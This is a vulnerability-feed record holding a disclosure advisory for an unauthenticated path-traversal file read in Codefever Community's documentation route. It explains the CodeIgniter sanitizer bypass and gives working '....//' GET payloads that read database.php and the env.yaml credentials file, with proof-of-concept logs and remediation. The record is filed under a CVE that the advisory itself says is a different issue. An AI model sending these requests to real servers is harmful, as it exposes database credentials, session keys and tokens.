{"uuid": "9c1e0101-de97-4830-b836-68de573b051a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-44080", "type": "seen", "source": "https://gist.github.com/asdfghjkl12345678910111/40ef17031bf9c114fb3888de8793aa25", "content": "# Unauthenticated Arbitrary File Read in Codefever Community (CodeIgniter URI sanitizer re-ordering)\n\n## Vulnerability Summary\n\n- **Product**: Codefever Community \u2014 self-hosted Git repository web application\n- **Vendor**: PGYER\n- **Source Code**: https://github.com/PGYER/codefever\n- **Affected Version**: `master` @ `0c35e60f006f9d558cc33a159baf110659351990` (committed 2024-12-10; no tagged release)\n- **Vulnerable File (pinned)**: https://github.com/PGYER/codefever/blob/0c35e60f006f9d558cc33a159baf110659351990/application/controllers/doc.php\n- **Type**: CWE-22 \u2014 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n- **Authentication Required**: **none**\n- **CVSS 3.1**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` \u2014 **7.5 (High)**\n\n## Vulnerability Details\n\nThe public documentation route is handled by `application/controllers/doc.php::_detail()`. The CodeIgniter URI string is taken verbatim and re-joined into a filesystem path with **no `realpath()` / `basename()` containment**, then read with `file_get_contents()` and echoed into the documentation view:\n\n```php\n// application/controllers/doc.php \u2014 _detail()\n$path     = $this-&gt;uri-&gt;uri_string;                                    // L39  raw URI\n$segments = explode('/', $path);                                       // L40\n$rootDir  = implode('/', [dirname(APPPATH), 'doc', $docPath]) . '/';   // L42\n$docDir   = array_slice($segments, 2);                                 // L43\n$docFile  = $rootDir . implode('/', $docDir);                          // L44  no containment\n...\n$this-&gt;load-&gt;view('doc/detail', [ ..., 'doc' =&gt; file_get_contents($docFile) ]); // L99\n```\n\nThe route requires no authentication \u2014 `Base::__construct` never enforces login.\n\n**Why a naive payload fails and `....//` works.** CodeIgniter 2.1.1 sanitizes the URI in `system/core/URI.php:222` with a sequential `str_replace`:\n\n```php\nstr_replace(array('//', '../'), '/', trim($uri, '/'))   // CI 2.1.1\n```\n\nBecause `str_replace` applies its patterns **in order**, a `....//` segment is first rewritten by the `//` pass into `...../`, and the subsequent `../` pass turns `...../` back into `../` \u2014 the traversal is re-formed **after** the sanitizer has already run:\n\n```text\ninput segment:         ....//....//\npass 1 ('//' -&gt; '/'):  ...../...../      (each '//' collapsed first)\npass 2 ('../' -&gt; '/'): ../../../         (traversal RE-FORMED after sanitization)\n```\n\n`permitted_uri_chars` (`application/config/config.php`) includes `.`, so dot segments pass `_filter_uri`.\n\n## Prerequisites\n\n**None.** No authentication, no session, no CSRF token, no configuration, no victim interaction \u2014 a single GET request.\n\nThe fronting SAPI must pass dot-segments to PHP un-normalized (`php -S` and Apache `PATH_INFO` do). Requests must be sent with `curl --path-as-is` so the client does not normalize the dot segments first.\n\n## Reproduction Steps\n\nDeploy commit `0c35e60f006f9d558cc33a159baf110659351990` and serve it (the unmodified application, real routing/controllers/views).\n\n### Control \u2014 literal `../` is collapsed by the sanitizer\n\n```http\nGET /doc/cn/../../application/config/database.php HTTP/1.1\nHost: \n```\n\n```http\nHTTP/1.1 302 Found\nLocation: /doc/cn/\n```\n\nCI 2.1.1 collapses the literal `../` segments before `uri_string` is built, so the request never reaches the file read. (The URL-encoded variant `/doc/cn/..%2f..%2f...` is likewise **not** exploitable: CI 2.1.1 never URL-decodes URI segments.)\n\n### Exploit \u2014 two hops, reads a configuration file outside the docroot\n\n```http\nGET /doc/cn/....//....//application/config/database.php HTTP/1.1\nHost: \n```\n\n```http\nHTTP/1.1 200 OK\nContent-type: text/html\n```\n\nThe response body embeds the **raw text of `database.php`** inside the application's own documentation view (`div.doc-content` present), e.g.:\n\n```text\n$db['default']['hostname'] = YAML_MYSQL_HOST . ':' . YAML_MYSQL_PORT;\n$db['default']['dbdriver'] = 'mysqli';\n/* Location: ./application/config/database.php */\n```\n\n### Six hops \u2014 escapes the repository root entirely\n\n```http\nGET /doc/cn/....//....//....//....//....//....// HTTP/1.1\nHost: \n```\n\nSix `....//` segments climb past the installation directory; arbitrary-depth reads on the same drive succeed. Depth is unbounded (`any`-style path, no cap).\n\n### High-value collateral \u2014 the deployment's credentials file\n\nThe shipped Docker deployment keeps `env.yaml` at exactly the traversed location:\n\n```http\nGET /doc/cn/....//....//env.yaml HTTP/1.1\nHost: \n```\n\n```http\nHTTP/1.1 200 OK\n```\n\n```yaml\nmysql:\n  host: 127.0.0.1\n  port: \n  username: \n  password: \nkey: \nsalt: \ngateway:\n  token: \n```\n\n## Proof of Concept Execution Logs\n\n```\n=== control: benign documentation page ===\nGET /doc/cn/start/welcome.md                      -&gt; 200  (normal doc view)\n\n=== control: literal ../ is collapsed ===\nGET /doc/cn/../../application/config/database.php -&gt; 302  (0 bytes, no file content)\n\n=== control: same ....// syntax, non-existent file ===\nGET /doc/cn/....//....//no-such-file.txt          -&gt; 302  (no file content)\n\n=== exploit: 2 hops ===\nGET /doc/cn/....//....//application/config/database.php -&gt; 200  (21361 bytes)\n     body contains: $db['default']['hostname'] = YAML_MYSQL_HOST . ':' . YAML_MYSQL_PORT;\n                     $db['default']['dbdriver'] = 'mysqli';\n\n=== exploit: credentials file ===\nGET /doc/cn/....//....//env.yaml                  -&gt; 200  (18623 bytes)\n     body contains the mysql credentials, session key, TOTP salt and gateway token\n\n=== exploit: 6 hops, escapes the repository root ===\nGET /doc/cn/....//....//....//....//....//....// -&gt; 200  (18080 bytes)\n```\n\nAll requests sent with **no cookies**; the response `Set-Cookie` is issued by the application itself during the request. Only two lab-environment aids were used, neither touching the vulnerable code path: a `yaml_parse_file()` shim (portable PHP lacks pecl-yaml) and `env.yaml` / `config.yaml` created from the shipped templates.\n\n## Impact\n\n- **Unauthenticated arbitrary file read** on the web server's drive \u2014 source code, configuration files, and any secret readable by the PHP process.\n- In the shipped Docker deployment, **`env.yaml` holds the database credentials and the instance-wide session key, TOTP salt and gateway token** \u2014 read in a single unauthenticated request.\n- Read-only primitive: no write or delete through this sink.\n\n## Boundaries of the Primitive (verified)\n\nStated explicitly so that the impact is not overstated:\n\n- **Read-only.** `file_get_contents()` output only; no file write, no code execution through this sink.\n- **Encoded traversal is dead here.** `/doc/cn/..%2f..%2f...` returns 302 \u2014 CI 2.1.1 does not URL-decode URI segments, so only the literal `....//` normalization-confusion form works.\n- **`file_exists()` gates the read** \u2014 only existing paths are served; a well-formed traversal to a non-existent path returns 302.\n- The `_assets()` branch (`doc.php` L118-133) shares the same unsanitized `$docFile` (reached when the basename matches `/^\\w{32}\\.png$/`); same root cause, not separately exercised.\n- **Distinct from CVE-2023-26817 and CVE-2023-44080** \u2014 both are remote code execution issues in different files/root causes (`/controllers/api/user.php` and `branchList`). This finding is a path traversal in `application/controllers/doc.php`, a different vulnerability class and code path.\n\n## Remediation\n\n- After building `$docFile`, verify containment: resolve with `realpath()` and require the result to start with `realpath($rootDir)`; reject otherwise.\n- Reject any URI segment containing `..` **before** `implode()` \u2014 in addition to, not instead of, the `realpath()` check.\n- Apply the same containment check to the `_assets()` branch.\n", "creation_timestamp": "2026-10-01T13:13:12.000000Z"}